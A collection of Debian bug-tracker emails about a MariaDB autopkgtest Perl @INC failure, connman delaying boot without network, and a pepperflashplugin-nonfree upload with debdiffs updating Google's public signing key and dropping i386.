> in production unless somebody confirms that this was indeed the
> correct fix.

I doubt it will fix it. If the problem is indeed that Perl is running in
taint mode, then many other things will break. Only if some other magic is
affecting just the '.' entry of @INC will the patch have any effect.

The thing to do is try to verify if indeed taint mode is the cause of the
problem, and if so, why taint mode gets enabled. I'm not familiar with
ci.debian.net, maybe the docs have something, I can try looking. How is this
configured, is everything in the debian packaging, read by autopkgtest?

What I saw was that running mysql-test-run.pl in taint mode locally produces
the exact same error. That doesn't prove that taint mode is the cause here,
but it certainly seems a possibility.

 - Kristian.

Bug#809022: [debian-mysql] Bug#809022: Bug#809022: autopkgtest patch for MariaDB

[Kristian Nielsen]

Otto Kekäläinen <o...@debian.org> writes:

> I uploaded now 10.0.27 and even with the recent fixes, it is still
> failing. I don't know how to fix it. Can you Paul help debug it?

> https://ci.debian.net/data/packages/unstable/amd64/m/mariadb-10.0/20160909_103759.autopkgtest.log.gz

> starting mysql-test-tun.pl...
> Can't locate lib/mtr_process.pl in @INC (@INC contains: lib /etc/perl
> /usr/local/lib/x86_64-linux-gnu/perl/5.22.2
> /usr/local/share/perl/5.22.2 /usr/lib/x86_64-linux-gnu/perl5/5.22
> /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.22
> /usr/share/perl/5.22 /usr/local/lib/site_perl
> /usr/lib/x86_64-linux-gnu/perl-base) at ./mysql-test-run.pl line 105.

Jumping into the middle of the discussion ... but I think I see the
problem. Note that current directory ./ is missing from @INC. This happens
when perl is running in 'taint' mode, which I'm guessing is what is
happening here.

According to my quick reading of Perl documentation, taint checks are
enabled by -T (which does not seem to be happening here), or when running
setuid/setgid.

Could it be that taint checks become enabled here due to setuid/setgid?
Perhaps the environment does seteuid() but not setreuid() (or however it
works in Posix), or maybe fakeroot is confusing Perl or something?

If so, is there some way to avoid that the test environment runs Perl with
taint checks?

The below patch fixes the problem with missing current directory in @INC.
However, if taint checks are indeed enabled, this is not sufficient; I don't
think mysql-test-run.pl is currently written to be able to run under Perl
taint mode.

---
diff --git a/mysql-test/mysql-test-run.pl b/mysql-test/mysql-test-run.pl
index f3b733a..01410af 100755
--- a/mysql-test/mysql-test-run.pl
+++ b/mysql-test/mysql-test-run.pl
@@ -77,6 +77,9 @@ BEGIN {
 }
 
 use lib "lib";
+BEGIN {
+  push @INC, '.' unless grep {$_ eq '.'} @INC;
+}
 
 use Cwd ;
 use Cwd 'realpath';
---

> https://ci.debian.net/packages/m/mariadb-10.0/unstable/amd64/

Hope this helps,

 - Kristian.

Bug#827296: #827296 - connman: Connman slow down the boot when no network available

[Kristian Klausen]

Hi

Yes it was changed in June, see 
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=812209

- Kristian


> Subject: Bug#827296: #827296 - connman: Connman slow down the boot when no 
> network available
> From: a...@debian.org
> Date: Fri, 2 Sep 2016 13:55:21 +0200
> To: klausenb...@hotmail.com
> CC: 827...@bugs.debian.org; flor...@biree.name; cont...@bugs.debian.org
>
> Hi,
>
> so NM does enable the wait job by default also? Just timeout
> difference? If not I tend to agree that whatever the NM default is
> this one should have as well (assuming folks are happy with NM boot
> behaviour).
>
> Let me know,
>
> - Alexander
>
> 2016-09-02 11:05 GMT+02:00 Kristian Klausen <klausenb...@hotmail.com>:
>> Never mind, maybe I should reread the bug report next time before I
>> respond..
>>
>>
>> 
>> From: klausenb...@hotmail.com
>> To: a...@debian.org; 827...@bugs.debian.org
>> CC: flor...@biree.name; cont...@bugs.debian.org
>> Subject: RE: Bug#827296: #827296 - connman: Connman slow down the boot when
>> no network available
>> Date: Fri, 2 Sep 2016 11:03:15 +0200
>>
>>
>> Hello Alexander
>>
>> NetworkManager don't enable it as default which Connman does.
>> I think that is what the bug report is about :)
>>
>> Regards
>> Kristian Klausen
>>
>>> Subject: Bug#827296: #827296 - connman: Connman slow down the boot when no
>>> network available
>>> From: a...@debian.org
>>> Date: Fri, 2 Sep 2016 10:53:45 +0200
>>> To: 827...@bugs.debian.org
>>> CC: flor...@biree.name; cont...@bugs.debian.org
>>>
>>> tags 827296 + moreinfo
>>> severity 827296 normal
>>> thanks
>>>
>>> Hi,
>>>
>>> this seems to be a feature. Seems you were able to resolve this issue?
>>> Anything you think that should be done here?
>>>
>>> Network Manager also has a similar wait job. timeout there is 30
>>> seconds. connman just seem to have a higher default timeout in code
>>> (120 seconds).
>>>
>>> You could customize the job with --timeout=30 or we could use that as
>>> the default in the package if we feel there is strong reason to
>>> believe that majority of debian users will want the shorter timeout.
>>>
>>> Let me know if you are happy with the ability to tweak by yourself...
>>>
>>> Thanks,
>>>
>>> - Alexander
>>>
>
  

Bug#827296: #827296 - connman: Connman slow down the boot when no network available

[Kristian Klausen]

Hello Alexander

NetworkManager don't enable it as default which Connman does.
I think that is what the bug report is about :)

Regards
Kristian Klausen

> Subject: Bug#827296: #827296 - connman: Connman slow down the boot when no 
> network available
> From: a...@debian.org
> Date: Fri, 2 Sep 2016 10:53:45 +0200
> To: 827...@bugs.debian.org
> CC: flor...@biree.name; cont...@bugs.debian.org
> 
> tags 827296 + moreinfo
> severity 827296 normal
> thanks
> 
> Hi,
> 
> this seems to be a feature. Seems you were able to resolve this issue?
> Anything you think that should be done here?
> 
> Network Manager also has a similar wait job. timeout there is 30
> seconds. connman just seem to have a higher default timeout in code
> (120 seconds).
> 
> You could customize the job with --timeout=30 or we could use that as
> the default in the package if we feel there is strong reason to
> believe that majority of debian users will want the shorter timeout.
> 
> Let me know if you are happy with the ability to tweak by yourself...
> 
> Thanks,
> 
>  - Alexander
> 
  

Bug#827296: #827296 - connman: Connman slow down the boot when no network available

[Kristian Klausen]

Never mind, maybe I should reread the bug report next time before I respond..


From: klausenb...@hotmail.com
To: a...@debian.org; 827...@bugs.debian.org
CC: flor...@biree.name; cont...@bugs.debian.org
Subject: RE: Bug#827296: #827296 - connman: Connman slow down the boot when no 
network available
Date: Fri, 2 Sep 2016 11:03:15 +0200




Hello Alexander

NetworkManager don't enable it as default which Connman does.
I think that is what the bug report is about :)

Regards
Kristian Klausen

> Subject: Bug#827296: #827296 - connman: Connman slow down the boot when no 
> network available
> From: a...@debian.org
> Date: Fri, 2 Sep 2016 10:53:45 +0200
> To: 827...@bugs.debian.org
> CC: flor...@biree.name; cont...@bugs.debian.org
> 
> tags 827296 + moreinfo
> severity 827296 normal
> thanks
> 
> Hi,
> 
> this seems to be a feature. Seems you were able to resolve this issue?
> Anything you think that should be done here?
> 
> Network Manager also has a similar wait job. timeout there is 30
> seconds. connman just seem to have a higher default timeout in code
> (120 seconds).
> 
> You could customize the job with --timeout=30 or we could use that as
> the default in the package if we feel there is strong reason to
> believe that majority of debian users will want the shorter timeout.
> 
> Let me know if you are happy with the ability to tweak by yourself...
> 
> Thanks,
> 
>  - Alexander
> 

  

Bug#827296: connman: Connman slow down the boot when no network available

[Kristian Klausen]

I just checked NetworkManager, and they only install it 
(NetworkManager-wait-online.service) but does not enable it.

I think that is the correct behavior, next time someone update connman they 
could fix this bug :)


> Subject: Bug#827296: connman: Connman slow down the boot when no network 
> available
> Date: Thu, 16 Jun 2016 18:23:31 +0200
> From: flor...@biree.name
> To: klausenb...@hotmail.com
> CC: sub...@bugs.debian.org
>
> Le Tue, 14 Jun 2016 20:54:15 +0200,
> Kristian Klausen <klausenb...@hotmail.com> a écrit :
>
>> I'm not sure this is connman fault (??).
>>
>> This is causing by newer connman which include
>> connman-wait-online.service. You should be able to fix it by
>> disabling connman-wait-online.service
>
> This solution works, thanks!
> It's still strange to have by default this big behavior
> change which slow down the boot …
>
>
>
>
> --
> Florian Birée
> 06 52 92 15 32
>
> En ces temps d'état policier, ne les laissons pas lire nos mails,
> chiffrons-les ! https://emailselfdefense.fsf.org/fr/index.html
  

Bug#827296: connman: Connman slow down the boot when no network available

[Kristian Klausen]

I'm not sure this is connman fault (??).

This is causing by newer connman which include connman-wait-online.service.
You should be able to fix it by disabling connman-wait-online.service

https://www.freedesktop.org/wiki/Software/systemd/NetworkTarget/ is worth 
reading.


> Subject: Bug#827296: connman: Connman slow down the boot when no network 
> available
> From: flor...@biree.name
> To: sub...@bugs.debian.org
> Date: Tue, 14 Jun 2016 19:56:08 +0200
>
> Package: connman
> Version: 1.32-0.1
> Severity: normal
>
> Dear Maintainer,
>
> When no network (wired or wireless) is available, systemd hang on an long
> time (around 2 minutes), waiting connman to find a network before continuing 
> the boot.
>
> This is very anoying for a laptop. Some times ago (I can't remember when
> and with which version of connman or systemd), already with connman and
> systemd, the boot was normal even when no network was available.
>
> -- System Information:
> Debian Release: stretch/sid
> APT prefers unstable
> APT policy: (500, 'unstable')
> Architecture: i386 (i686)
>
> Kernel: Linux 4.5.0-2-686-pae (SMP w/1 CPU core)
> Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/dash
> Init: systemd (via /run/systemd/system)
>
> Versions of packages connman depends on:
> ii dbus 1.10.8-1
> ii init-system-helpers 1.34
> ii libc6 2.22-11
> ii libdbus-1-3 1.10.8-1
> ii libglib2.0-0 2.48.1-1
> ii libgnutls30 3.4.13-1
> ii libreadline6 6.3-8+b4
> ii libxtables11 1.6.0-2
> ii lsb-base 9.20160601
>
> Versions of packages connman recommends:
> pn bluez 
> pn ofono 
> ii wpasupplicant 2.3-2.3
>
> Versions of packages connman suggests:
> pn indicator-network 
>
> -- no debconf information
>
  

Bug#825239: RFS: pepperflashplugin-nonfree/1.8.1+deb8u1 [RC] [NMU]

[Kristian Klausen]

Package: sponsorship-requests
Severity: important
Dear mentors,

I am looking for a sponsor for my package "pepperflashplugin-nonfree"

 * Package name: pepperflashplugin-nonfree
 Version : 1.8.1+deb8u1
 Upstream Author : Bart Martens <ba...@debian.org>
 * URL : http://wiki.debian.org/PepperFlashPlayer
 * License : GPL3
 Section : web

It builds those binary packages:

pepperflashplugin-nonfree - Pepper Flash Player - browser plugin

To access further information about this package, please visit the following 
URL:

https://mentors.debian.net/package/pepperflashplugin-nonfree


Alternatively, one can download the package with dget using this command:

dget -x 
https://mentors.debian.net/debian/pool/contrib/p/pepperflashplugin-nonfree/pepperflashplugin-nonfree_1.8.1+deb8u1.dsc

More information about hello can be obtained from https://www.example.com.

Changes since the last upload:

pepperflashplugin-nonfree (1.8.1+deb8u1) jessie; urgency=medium

  * Non-maintainer upload.
  * Update Google public key. Closes: #823005.
  * Remove 32 bit support. Closes: #816848.

 -- Kristian Klausen <klausenb...@hotmail.com>  Fri, 20 May 2016 15:08:52 +0200



Regards,
 Kristian Klausen 

Bug#824859: jessie-pu: package pepperflashplugin-nonfree/1.8.1+deb8u1

[Kristian Klausen]

Hi Adam

You definitely correct, I did the fix for 1.8.1 manual and simply forgot to 
change that line.

Fixed debdiff

diff -Nru pepperflashplugin-nonfree-1.8.1/debian/changelog 
pepperflashplugin-nonfree-1.8.1+deb8u1/debian/changelog
--- pepperflashplugin-nonfree-1.8.1/debian/changelog    2014-12-21 
11:38:47.0 +0100
+++ pepperflashplugin-nonfree-1.8.1+deb8u1/debian/changelog    2016-05-20 
15:25:49.0 +0200
@@ -1,3 +1,11 @@
+pepperflashplugin-nonfree (1.8.1+deb8u1) jessie; urgency=medium
+
+  * Non-maintainer upload.
+  * Update Google public key. Closes: #823005.
+  * Remove 32 bit support. Closes: #816848.
+
+ -- Kristian Klausen <klausenb...@hotmail.com>  Fri, 20 May 2016 15:08:52 +0200
+
 pepperflashplugin-nonfree (1.8.1) unstable; urgency=medium
 
   * debian/control: Pre-Depends: ca-certificates.  Closes: #773629.
diff -Nru pepperflashplugin-nonfree-1.8.1/debian/control 
pepperflashplugin-nonfree-1.8.1+deb8u1/debian/control
--- pepperflashplugin-nonfree-1.8.1/debian/control    2014-12-21 
11:40:47.0 +0100
+++ pepperflashplugin-nonfree-1.8.1+deb8u1/debian/control    2016-05-24 
23:17:59.0 +0200
@@ -7,7 +7,7 @@
 Homepage: http://wiki.debian.org/PepperFlashPlayer
 
 Package: pepperflashplugin-nonfree
-Architecture: i386 amd64
+Architecture: amd64
 Depends: debconf | debconf-2.0, wget, gnupg, libatk1.0-0, libcairo2, 
libfontconfig1, libfreetype6, libgcc1, libglib2.0-0, libgtk2.0-0 (>= 2.14), 
libnspr4, libnss3, libpango-1.0-0 | libpango1.0-0, libstdc++6, libx11-6, 
libxext6, libxt6, libcurl3-gnutls, binutils, ${misc:Depends}, ${shlibs:Depends}
 Pre-Depends: ca-certificates
 Suggests: chromium, ttf-mscorefonts-installer, ttf-dejavu, 
ttf-xfree86-nonfree, hal
diff -Nru pepperflashplugin-nonfree-1.8.1/pubkey-google.txt 
pepperflashplugin-nonfree-1.8.1+deb8u1/pubkey-google.txt
--- pepperflashplugin-nonfree-1.8.1/pubkey-google.txt    2013-07-07 
23:30:38.0 +0200
+++ pepperflashplugin-nonfree-1.8.1+deb8u1/pubkey-google.txt    2016-05-20 
15:09:27.0 +0200
@@ -1,5 +1,5 @@
 -BEGIN PGP PUBLIC KEY BLOCK-
-Version: GnuPG v1.4.12 (GNU/Linux)
+Version: GnuPG v1.4.2.2 (GNU/Linux)
 
 mQGiBEXwb0YRBADQva2NLpYXxgjNkbuP0LnPoEXruGmvi3XMIxjEUFuGNCP4Rj/a
 kv2E5VixBP1vcQFDRJ+p1puh8NU0XERlhpyZrVMzzS/RdWdyXf7E5S8oqNXsoD1z
@@ -11,89 +11,88 @@
 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
-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
-NPtDVF+COVuSzkefiero1O78

Bug#824859: jessie-pu: package pepperflashplugin-nonfree/1.8.1+deb8u1

[Kristian Klausen]

Package: release.debian.org
Severity: normal
Tags: jessie
User: release.debian@packages.debian.org
Usertags: pu

Hi


This makes pepperflash work again on jessie, it fix rc bug #823005 and #816848.
But not #818540, which isn't relevant for jessie, as jessie isn't getting APT 
1.2.7.


- Kristian


diff -Nru pepperflashplugin-nonfree-1.8.1/debian/changelog 
pepperflashplugin-nonfree-1.8.1+deb8u1/debian/changelog
--- pepperflashplugin-nonfree-1.8.1/debian/changelog2014-12-21 
11:38:47.0 +0100
+++ pepperflashplugin-nonfree-1.8.1+deb8u1/debian/changelog 2016-05-20 
15:25:49.0 +0200
@@ -1,3 +1,11 @@
+pepperflashplugin-nonfree (1.8.1+deb8u1) jessie; urgency=medium
+
+  * Non-maintainer upload.
+  * Update Google public key. Closes: #823005.
+  * Remove 32 bit support. Closes: #816848.
+
+ -- Kristian Klausen <klausenb...@hotmail.com>  Fri, 20 May 2016 15:08:52 +0200
+
 pepperflashplugin-nonfree (1.8.1) unstable; urgency=medium
 
   * debian/control: Pre-Depends: ca-certificates.  Closes: #773629.
diff -Nru pepperflashplugin-nonfree-1.8.1/pubkey-google.txt 
pepperflashplugin-nonfree-1.8.1+deb8u1/pubkey-google.txt
--- pepperflashplugin-nonfree-1.8.1/pubkey-google.txt   2013-07-07 
23:30:38.0 +0200
+++ pepperflashplugin-nonfree-1.8.1+deb8u1/pubkey-google.txt2016-05-20 
15:09:27.0 +0200
@@ -1,5 +1,5 @@
 -BEGIN PGP PUBLIC KEY BLOCK-
-Version: GnuPG v1.4.12 (GNU/Linux)
+Version: GnuPG v1.4.2.2 (GNU/Linux)
 
 mQGiBEXwb0YRBADQva2NLpYXxgjNkbuP0LnPoEXruGmvi3XMIxjEUFuGNCP4Rj/a
 kv2E5VixBP1vcQFDRJ+p1puh8NU0XERlhpyZrVMzzS/RdWdyXf7E5S8oqNXsoD1z
@@ -11,89 +11,88 @@
 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
-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

Bug#824706: RM: pepperflashplugin-nonfree [i386] -- RoQA; ANAIS

[Kristian Klausen]

Package: ftp.debian.org
Severity: normal


Hello

I did a NMU package of pepperflashplugin-nonfree which Gianfranco Costamagna 
sponsored.
Among the 3 RC bugs I fixed, I fixed #816848 by dropping i386.
As Google has dropped 32 bit Google Chrome on Linux, we can't provide a 32 bit 
pepperflash any longer.

So if you could please remove i386 from unstable.


I'm not aware of any reverse dependencies.



- Kristian
  

Bug#818540: fix for 818540 never made it into Debian?

[Kristian Klausen]

Hi Dan
 
Google has dropped 32 bit support for Chrome on Linux
See bug 816848 (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=816848), I'm 
not sure why the i386 package is still present.
 
 
- Kristian


> Subject: Bug#818540: fix for 818540 never made it into Debian?
> From: jida...@jidanni.org
> To: klausenb...@hotmail.com
> CC: 818...@bugs.debian.org
> Date: Thu, 19 May 2016 04:20:33 +0800
>
> https://packages.debian.org/search?keywords=pepperflashplugin-nonfree
> shows you only updated non - i386 :-(
>
  

Bug#824186: RFS: pepperflashplugin-nonfree/1.8.3+nmu1 [RC] [NMU]‏

[Kristian Klausen]

Hi again G :)

> 1) why 1.8.3+nmu1 and not 1.8.2+nmu1?
Isn't I'm supposed to raise the version number? or is "+nmu1" enough? 

> 2) why UNRELEASED? please set unstable
I didn't noticed it.

> "* Validate deb file with sha256sum." <-- isn't this part of the fix for bug 
> #818540?
It part of the fix, but not needed to fix #818540 (as I understand).

> (attaching the debdiff between debian and ubuntu, I'm not talking about 
> fields like changelog entries
No file attached here? You talking about this file correct?
https://patches.ubuntu.com/p/pepperflashplugin-nonfree/pepperflashplugin-nonfree_1.8.2ubuntu1.patch

I did as https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=818540#39 suggested, 
do you disagree with that solution? Is the original solution preferred?


Just pushed to mentors.

- Kristian


> Date: Fri, 13 May 2016 19:41:25 +
> From: locutusofb...@debian.org
> To: klausenb...@hotmail.com; ba...@debian.org; 824...@bugs.debian.org
> Subject: Re: Bug#824186: RFS: pepperflashplugin-nonfree/1.8.3+nmu1 [RC] [NMU]‏
>
> control: owner -1 !
> control: tags -1 moreinfo
>
>
> Hi, some questions about versioning and changelog:
>
> 1) why 1.8.3+nmu1 and not 1.8.2+nmu1?
> 2) why UNRELEASED? please set unstable
>
> "* Validate deb file with sha256sum." <-- isn't this part of the fix for bug 
> #818540?
>
> the other stuff LGTM, I hope to sponsor it soon :)
>
> BTW did you see the ubuntu diff?
> you might want to take some bits
>
> (attaching the debdiff between debian and ubuntu, I'm not talking about 
> fields like changelog entries
> and maintainer field, more about the update script)
>
> thanks!
>
> G.
>
>
> Il Venerdì 13 Maggio 2016 15:39, Kristian Klausen <klausenb...@hotmail.com> 
> ha scritto:
> Package: sponsorship-requests
> Severity: important
>
> Dear mentors,
>
> I am looking for a sponsor for my package "pepperflashplugin-nonfree":
>
